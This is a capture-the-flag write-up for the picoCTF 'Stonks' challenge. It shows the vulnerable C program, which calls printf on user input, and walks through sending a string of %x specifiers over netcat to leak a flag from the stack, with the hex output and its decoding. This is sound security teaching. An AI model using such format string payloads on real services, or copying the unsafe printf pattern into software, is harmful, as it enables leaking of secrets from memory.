> For the complete documentation index, see [llms.txt](https://kunalwalavalkar.gitbook.io/write-ups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://kunalwalavalkar.gitbook.io/write-ups/picoctf/binary-exploitation/stonks.md).

# Stonks

> Okay, maybe I'd believe you if you find my API key.

## Source Code

```c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <time.h>

#define FLAG_BUFFER 128
#define MAX_SYM_LEN 4

typedef struct Stonks {
	int shares;
	char symbol[MAX_SYM_LEN + 1];
	struct Stonks *next;
} Stonk;

typedef struct Portfolios {
	int money;
	Stonk *head;
} Portfolio;

int view_portfolio(Portfolio *p) {
	if (!p) {
		return 1;
	}
	printf("\nPortfolio as of ");
	fflush(stdout);
	system("date"); // TODO: implement this in C
	fflush(stdout);

	printf("\n\n");
	Stonk *head = p->head;
	if (!head) {
		printf("You don't own any stonks!\n");
	}
	while (head) {
		printf("%d shares of %s\n", head->shares, head->symbol);
		head = head->next;
	}
	return 0;
}

Stonk *pick_symbol_with_AI(int shares) {
	if (shares < 1) {
		return NULL;
	}
	Stonk *stonk = malloc(sizeof(Stonk));
	stonk->shares = shares;

	int AI_symbol_len = (rand() % MAX_SYM_LEN) + 1;
	for (int i = 0; i <= MAX_SYM_LEN; i++) {
		if (i < AI_symbol_len) {
			stonk->symbol[i] = 'A' + (rand() % 26);
		} else {
			stonk->symbol[i] = '\0';
		}
	}

	stonk->next = NULL;

	return stonk;
}

int buy_stonks(Portfolio *p) {
	if (!p) {
		return 1;
	}
	char api_buf[FLAG_BUFFER];
	FILE *f = fopen("api","r");
	if (!f) {
		printf("Flag file not found. Contact an admin.\n");
		exit(1);
	}
	fgets(api_buf, FLAG_BUFFER, f);

	int money = p->money;
	int shares = 0;
	Stonk *temp = NULL;
	printf("Using patented AI algorithms to buy stonks\n");
	while (money > 0) {
		shares = (rand() % money) + 1;
		temp = pick_symbol_with_AI(shares);
		temp->next = p->head;
		p->head = temp;
		money -= shares;
	}
	printf("Stonks chosen\n");

	// TODO: Figure out how to read token from file, for now just ask

	char *user_buf = malloc(300 + 1);
	printf("What is your API token?\n");
	scanf("%300s", user_buf);
	printf("Buying stonks with token:\n");
	printf(user_buf);

	// TODO: Actually use key to interact with API

	view_portfolio(p);

	return 0;
}

Portfolio *initialize_portfolio() {
	Portfolio *p = malloc(sizeof(Portfolio));
	p->money = (rand() % 2018) + 1;
	p->head = NULL;
	return p;
}

void free_portfolio(Portfolio *p) {
	Stonk *current = p->head;
	Stonk *next = NULL;
	while (current) {
		next = current->next;
		free(current);
		current = next;
	}
	free(p);
}

int main(int argc, char *argv[])
{
	setbuf(stdout, NULL);
	srand(time(NULL));
	Portfolio *p = initialize_portfolio();
	if (!p) {
		printf("Memory failure\n");
		exit(1);
	}

	int resp = 0;

	printf("Welcome back to the trading app!\n\n");
	printf("What would you like to do?\n");
	printf("1) Buy some stonks!\n");
	printf("2) View my portfolio\n");
	scanf("%d", &resp);

	if (resp == 1) {
		buy_stonks(p);
	} else if (resp == 2) {
		view_portfolio(p);
	}

	free_portfolio(p);
	printf("Goodbye!\n");

	exit(0);
}
```

The last `printf` in the `buy_stonks` function does not have a format specified. This leads to a [format string vulnerability](https://owasp.org/www-community/attacks/Format_string_attack).

The correct use of `printf` is as follows:

```c
printf(”format String”, Arguments);
```

If only one argument is provided, we can either print out the string or define the format. If we provide the data format, `printf()` will try to find the second argument, and when it can’t find anything, it will start printing data from the stack.

```
Lower address
+-------------------------+
|                         |
|   %x%x%x%x%x%x%x%x%x    | <------ For every format specifier, printf 
|   %x%x%x%x%x%x%x%x%x    |         will read one byte from the stack
|                         |
|-------------------------|
|                         |
|     String pointer      |
|                         |
|-------------------------|  
|                         |
|     return address      |
|                         |
|-------------------------|  
|                         |
|     local variable      |
|                         |
|-------------------------|  
|                         |
|          flag           |
|                         |
+-------------------------+  
Higher address
```

The code is already running at `mercury.picoctf.net` on port `59616`. We can connect using netcat.

```
$ nc mercury.picoctf.net 59616
```

On connecting we can choose the `Buy some stonks!` option.

Once we are prompted to enter the API token, we can try and supply a format specifier. In this case we'll use `%x` which is for printing hexadecimal values.

```
What is your API token?
%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x
Buying stonks with token:
84ce410804b00080489c3f7efad80ffffffff184cc160f7f08110f7efadc7084cd180884ce3f084ce4106f6369707b465443306c5f49345f74356d5f6c6c306d5f795f79336e3834313634356562ffcb007df7f35af8f7f084401f30c10010f7d97ce9f7f090c0f7efa5c0f7efa000ffcb7b88f7d8868df7efa5c0
```

There is a dump of hexadecimal characters in the output. Let's try to decode it using [Cyberchef](https://gchq.github.io/CyberChef/).&#x20;

<figure><img src="https://1586847736-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtSZ40gLWhBDTzPEgHsVB%2Fuploads%2FbpK5nkdbJisD36Umb5kl%2Fstonks%201.png?alt=media&amp;token=ddf8ef18-ea8f-49a1-a28e-2dedc6b389e7" alt=""><figcaption></figcaption></figure>

We can see a string that resembles our flag. However it seems to be mangled.

This is because it is in [little-endian](https://www.geeksforgeeks.org/little-and-big-endian-mystery/) format. We can decode this using Cyberchef as well.

<figure><img src="https://1586847736-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtSZ40gLWhBDTzPEgHsVB%2Fuploads%2FSfbsXlynaksV6nKMkEpr%2Fstonks%202.png?alt=media&amp;token=875d9066-20e1-4556-a71f-95924e13f09b" alt=""><figcaption></figcaption></figure>

The closing bracket is not present because the string was terminated by a NULL byte. But that is fine we can just add it.
